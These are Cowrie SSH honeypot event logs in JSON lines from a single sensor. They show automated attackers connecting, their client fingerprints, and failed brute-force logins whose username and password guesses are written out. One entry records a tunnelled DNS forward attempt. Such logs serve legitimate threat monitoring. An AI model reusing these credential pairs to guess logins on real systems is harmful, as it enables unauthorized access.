{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:39.156256Z","session":"6d4827a22179","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:39.253590Z","src_ip":"87.251.64.176","session":"6d4827a22179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:39.352496Z","src_ip":"87.251.64.176","session":"6d4827a22179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":53770,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ad3f63122c","protocol":"ssh","message":"New connection: 43.242.203.160:53770 (159.203.135.109:22) [session: 76ad3f63122c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:43.369202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:43.373410Z","src_ip":"43.242.203.160","session":"76ad3f63122c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:43.669171Z","src_ip":"43.242.203.160","session":"76ad3f63122c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toni123","message":"login attempt [root/toni123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:44.803198Z","src_ip":"43.242.203.160","session":"76ad3f63122c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":46192,"dst_ip":"10.17.0.5","dst_port":22,"session":"5be606a6b5f3","protocol":"ssh","message":"New connection: 45.137.172.116:46192 (10.17.0.5:22) [session: 5be606a6b5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:45.021406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:45.026160Z","src_ip":"45.137.172.116","session":"5be606a6b5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:45.128974Z","src_ip":"45.137.172.116","session":"5be606a6b5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","message":"login attempt [fecjl1yg/3sScGbQLYlTZvYdQqsZA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:45.546775Z","src_ip":"45.137.172.116","session":"5be606a6b5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:46.119208Z","src_ip":"43.242.203.160","session":"76ad3f63122c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:46.645614Z","src_ip":"45.137.172.116","session":"5be606a6b5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":23064,"dst_ip":"10.17.0.5","dst_port":22,"session":"b486e50a4939","protocol":"ssh","message":"New connection: 136.232.11.10:23064 (10.17.0.5:22) [session: b486e50a4939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:49.325126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:49.330773Z","src_ip":"136.232.11.10","session":"b486e50a4939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:49.568339Z","src_ip":"136.232.11.10","session":"b486e50a4939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1234","message":"login attempt [root/wwww1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:50.507483Z","src_ip":"136.232.11.10","session":"b486e50a4939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:51.751800Z","src_ip":"136.232.11.10","session":"b486e50a4939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":32796,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f3c8ad5528b","protocol":"ssh","message":"New connection: 69.48.205.231:32796 (10.17.0.5:22) [session: 1f3c8ad5528b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:12.810812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:12.816373Z","src_ip":"69.48.205.231","session":"1f3c8ad5528b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:12.870038Z","src_ip":"69.48.205.231","session":"1f3c8ad5528b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123$%^","message":"login attempt [root/asd123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:13.104119Z","src_ip":"69.48.205.231","session":"1f3c8ad5528b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:14.156735Z","src_ip":"69.48.205.231","session":"1f3c8ad5528b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":58258,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ab01720ba9","protocol":"ssh","message":"New connection: 202.51.214.99:58258 (10.17.0.5:22) [session: 60ab01720ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.134375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.139329Z","src_ip":"202.51.214.99","session":"60ab01720ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.381264Z","src_ip":"202.51.214.99","session":"60ab01720ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":50314,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e96552983c0","protocol":"ssh","message":"New connection: 80.94.92.171:50314 (159.203.135.109:22) [session: 3e96552983c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.778183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.972955Z","src_ip":"80.94.92.171","session":"3e96552983c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:25.976906Z","src_ip":"80.94.92.171","session":"3e96552983c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mom123","message":"login attempt [root/mom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:26.383784Z","src_ip":"202.51.214.99","session":"60ab01720ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:26.818537Z","src_ip":"80.94.92.171","session":"3e96552983c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":37402,"dst_ip":"159.203.135.109","dst_port":22,"session":"171d6a0762f8","protocol":"ssh","message":"New connection: 43.242.203.160:37402 (159.203.135.109:22) [session: 171d6a0762f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:27.399519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:27.403343Z","src_ip":"43.242.203.160","session":"171d6a0762f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:27.630639Z","src_ip":"202.51.214.99","session":"60ab01720ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:27.709651Z","src_ip":"43.242.203.160","session":"171d6a0762f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:28.082738Z","src_ip":"80.94.92.171","session":"3e96552983c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toaster","message":"login attempt [root/toaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:29.066939Z","src_ip":"43.242.203.160","session":"171d6a0762f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:30.305269Z","src_ip":"43.242.203.160","session":"171d6a0762f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":40278,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff122bd2eb6","protocol":"ssh","message":"New connection: 103.118.29.129:40278 (10.17.0.5:22) [session: aff122bd2eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:48.498168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:48.503325Z","src_ip":"103.118.29.129","session":"aff122bd2eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:48.750230Z","src_ip":"103.118.29.129","session":"aff122bd2eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:49.753166Z","src_ip":"103.118.29.129","session":"aff122bd2eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":43730,"dst_ip":"10.17.0.5","dst_port":22,"session":"446bf76d77ea","protocol":"ssh","message":"New connection: 45.137.172.116:43730 (10.17.0.5:22) [session: 446bf76d77ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:50.523090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:14:50.528346Z","src_ip":"45.137.172.116","session":"446bf76d77ea","protocol":"ssh"}
